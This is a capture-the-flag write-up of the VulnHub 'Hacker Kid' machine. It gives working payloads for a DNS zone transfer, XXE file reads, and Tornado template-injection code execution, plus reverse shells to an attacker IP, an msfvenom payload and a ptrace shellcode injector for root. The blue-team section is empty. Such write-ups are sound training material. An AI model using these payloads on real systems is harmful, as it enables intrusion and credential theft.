pen-test-lab// Request a test →
Writeup · VulnHub · Boot2Root

Hacker Kid — DIG me more

A taunting hacker, a DNS server begging to be dug, and a chain where no two steps look alike. A hidden GET parameter leaks a subdomain, a zone transfer confirms it, an XXE in a hand-rolled XML form reads a password off disk, Tornado template injection turns a login into a shell — and root comes from a single Linux capability on python2.7, used to inject shellcode straight into a root process. No kernel exploit, no SUID, no sudo.

target 192.168.56.135 · Hacker Kid 1.0.1 platform VulnHub attacker Kali · .117 foothold XXE → SSTI RCE result root via cap_sys_ptrace
// 00

Executive summary

Hacker Kid is OSCP-style: enumeration-heavy, lightly guessy, with a hint dropped at every gate. What makes it worth writing up isn't the foothold — XXE and SSTI are textbook — it's the privilege escalation. Instead of the usual PwnKit or SUID GTFObin, root here hangs on a file capability, cap_sys_ptrace+ep set on /usr/bin/python2.7. That one capability lets an unprivileged user attach a debugger to a root process and rewrite its instructions — a cleaner, quieter escalation than dropping a kernel exploit, and a good reminder that capabilities are SUID's less-watched cousin.

hex@kali:~ — hacker kid chain· · ·
#1page_no param → leaks vhost hackers.blackhat.local
#2dig axfr → zone transfer reveals hackerkid.blackhat.local
#3xxe → hand-built XML form reads /home/saket/.bashrc
#4tornado ssti → {{7*7}} → RCE → shell as saket
#5cap_sys_ptrace → python2.7 injects shellcode into root apache → root
Credential / artifactValueRecovered via
vhosthackers.blackhat.localpage_no=21 disclosure
zone / vhosthackerkid.blackhat.localAXFR zone transfer (SOA contact)
saket app credsSaket!#$%@!!XXE read of ~/.bashrc
saket shelluid=1000Tornado SSTI RCE
python2.7cap_sys_ptrace+epgetcap — the root primitive
rootuid=0ptrace shellcode injection into apache

PHASE 01 · recon

Three ports and a riddle

A full TCP sweep turns up DNS, HTTP, and a non-standard high port.

$ sudo nmap -p- --min-rate 3000 192.168.56.135
PORT     STATE SERVICE
53/tcp   open  domain
80/tcp   open  http
9999/tcp open  abyss      # actually a Python Tornado app

The homepage on :80 is a themed "A Hacker Kid" page. Its HTML comments hold the first thread:

$ curl -s http://192.168.56.135/ | grep -i 'GET param'
 TO DO: Use a GET parameter page_no to view pages.

Fuzzing page_no and watching response size, one value stands out from the pack:

$ for i in $(seq 1 100); do echo "$i $(curl -s "http://192.168.56.135/?page_no=$i" | wc -c)"; done | sort -k2 -n | uniq -f1 -c
     99 100 3654
      1 21 3849   # page_no=21 is the odd one out

Diffing page_no=21 against any other page extracts the hint — and the box's name theme pays off:

$ diff <(curl -s ".../?page_no=1") <(curl -s ".../?page_no=21")
> ...I created some subdomains to return back on the server whenever i want!!
> Out of my many homes...one such home for me : hackers.blackhat.local

PHASE 02 · DIG me more

Zone transfer

A subdomain plus an open port 53 plus a page that keeps shouting "DIG me" is about as loud a hint as a box gives. The domain is blackhat.local; the move is an AXFR zone transfer, which a misconfigured DNS server will hand over in full.

dig/etc/hosts
$ echo '192.168.56.135 blackhat.local hackers.blackhat.local' | sudo tee -a /etc/hosts
$ dig axfr @192.168.56.135 blackhat.local

blackhat.local.  10800 IN SOA blackhat.local. hackerkid.blackhat.local. 1 ...
blackhat.local.  10800 IN NS  ns1.blackhat.local.
blackhat.local.  10800 IN MX  10 mail.blackhat.local.
hacker.blackhat.local. 10800 IN CNAME hacker.blackhat.local.blackhat.local.  # decoy loop

Read the SOA, not just the records. The interesting vhost isn't an A record — it's hiding in the SOA responsible-party field: hackerkid.blackhat.local. The hacker.blackhat.local CNAME points at itself and is a decoy, and the A records all point at the author's old 192.168.14.x build network, so everything gets mapped back to .135 by hand.

$ sudo sed -i 's/^192.168.56.135 .*/192.168.56.135 blackhat.local hackers.blackhat.local hackerkid.blackhat.local/' /etc/hosts

PHASE 03 · foothold

XXE in a hand-built form

The hackerkid.blackhat.local vhost is a registration page. Its source gives the game away — the form doesn't post JSON or form-encoded fields, it concatenates an XML document by hand in JavaScript and POSTs it raw to process.php:

// from the page source
var xml = '<?xml version="1.0" encoding="UTF-8"?>' +
  '<root><name>' + $('#name').val() + '</name>' +
  '<tel>'  + $('#tel').val()  + '</tel>' +
  '<email>'+ $('#email').val()+ '</email>' +
  '<password>' + $('#password').val() + '</password></root>';
xmlhttp.open("POST","process.php",true); xmlhttp.send(xml);

Server-side XML parsing of attacker-controlled input is the classic XXE setup. First find which field is reflected back — only a reflected field can leak file contents:

$ curl -s http://hackerkid.blackhat.local/process.php \
    -d '<root><name>aaa</name><tel>111</tel><email>bbb</email><password>ccc</password></root>'
Sorry, bbb is not available !!!     # email is echoed → inject there

Define an external entity pointing at a file and drop it into email:

$ curl -s http://hackerkid.blackhat.local/process.php \
    -d '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root><name>a</name><tel>1</tel><email>&xxe;</email><password>c</password></root>'
Sorry, root:x:0:0:root:/root:/bin/bash
...
saket:x:1000:1000:Ubuntu,,,:/home/saket:/bin/bash  is not available !!!

One real login user: saket. Dotfiles contain < and & that break the XML response, so read them through PHP's base64 filter wrapper instead of plain file://:

$ curl -s .../process.php -d '...<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/home/saket/.bashrc">...' \
    | sed 's/^Sorry, //; s/ is not available !!!$//' | base64 -d | tail

#Setting Password for running python app
username="admin"
password="Saket!#$%@!!"

Mind what the creds are for. The comment says it plainly — this password is for the Python app, not saket's system account. It won't work for sudo; it's the login for the Tornado service on :9999. Chasing it as a sudo password is a rabbit hole the box quietly sets.


PHASE 04 · RCE

Tornado SSTI

Logging into the :9999 app as saket / Saket!#$%@!! lands on a page that asks for your name via a name GET parameter and echoes it back. Reflected input into a Python web framework is a template-injection check waiting to happen:

tornado-sstincpython3
GET /?name={{7*7}}
Hello 49        # evaluated — Tornado template injection

Tornado templates allow {% import %}, so SSTI goes straight to code execution. A reflected os.popen call confirms the context before going for a shell:

GET /?name={% import os %}{{os.popen('id').read()}}
Hello uid=1000(saket) gid=1000(saket) groups=...,27(sudo),131(lxd),...

A /dev/tcp bash one-liner connected and died instantly — os.popen spawns /bin/sh (dash), which has no /dev/tcp. A self-contained Python reverse shell holds where the bash one didn't, base64-wrapped so the template doesn't choke on the quoting:

GET /?name={% import os %}{{os.popen('echo <base64 python rev shell> | base64 -d | bash').read() }}

$ nc -lvnp 4444
connect to [192.168.56.117] from 192.168.56.135 ...
saket@ubuntu:~$ # foothold

Two different failures, two different fixes. Base64 solved "get the payload through URL + template parsing intact." Switching bash→Python solved "keep the socket alive." A reverse shell that connects then dies instantly is almost always the /dev/tcp/dash problem, not the network — a useful tell to keep separate from "never connects at all," which is network or encoding.


PHASE 05 · root

A capability, not an exploit

saket is in sudo and lxd, but the app password isn't saket's system password (sudo just rejects it), and lxc isn't even installed — both are deliberate dead ends. SUID enumeration is all stock binaries. The real primitive shows up only under a capability scan:

$ /sbin/getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep
/usr/bin/ping = cap_net_raw+ep
...

cap_sys_ptrace lets a process call ptrace() on processes it otherwise couldn't. Crucially it overrides Yama: even with /proc/sys/kernel/yama/ptrace_scope = 1 (attach-to-children-only), the capability lets python2.7 attach to any process — including ones running as root. That's the whole escalation: attach to a root process, overwrite its instruction pointer with shellcode, let it run.

# stage the shellcode

$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.56.117 LPORT=5555 -f python
# 74-byte raw stub, dropped into the injector below

# the injector (run by python2.7, the capable binary)

# inject.py — ctypes ptrace, no external deps
libc.ptrace(PTRACE_ATTACH, pid, 0, 0)   # stop target, become its tracer (cap bypasses Yama)
libc.wait(None)                          # block until it's really stopped
libc.ptrace(PTRACE_GETREGS, pid, 0, byref(r))  # read regs → current RIP
# overwrite code at RIP with shellcode, 8 bytes per POKETEXT
for i in range(0, len(sc), 8):
    libc.ptrace(PTRACE_POKETEXT, pid, rip+i, word)
libc.ptrace(PTRACE_DETACH, pid, 0, 0)   # resume → runs shellcode as the target's user (root)

# fire it at the root apache master

saket@ubuntu:~$ pgrep -u root apache2 | tail -1
803
saket@ubuntu:~$ /usr/bin/python2.7 /tmp/inject.py 803
injected into 803 at rip 7f...

$ nc -lvnp 5555
connect to [192.168.56.117] from 192.168.56.135 ...
# id
uid=0(root) gid=0(root) groups=0(root)

Timing gotcha. The apache master usually sits blocked in epoll_wait, so the overwritten RIP doesn't execute until it returns from that syscall — nudge it with a single curl http://192.168.56.135/ and the shellcode fires. If a chosen PID never wakes, grab a fresher worker from pgrep and re-run; the inject is cheap and repeatable.

Root shell, via the intended path — a capability abuse, start to finish, with no kernel CVE in sight.


PHASE 06 · blue team

Detecting and closing it

# detection

# remediation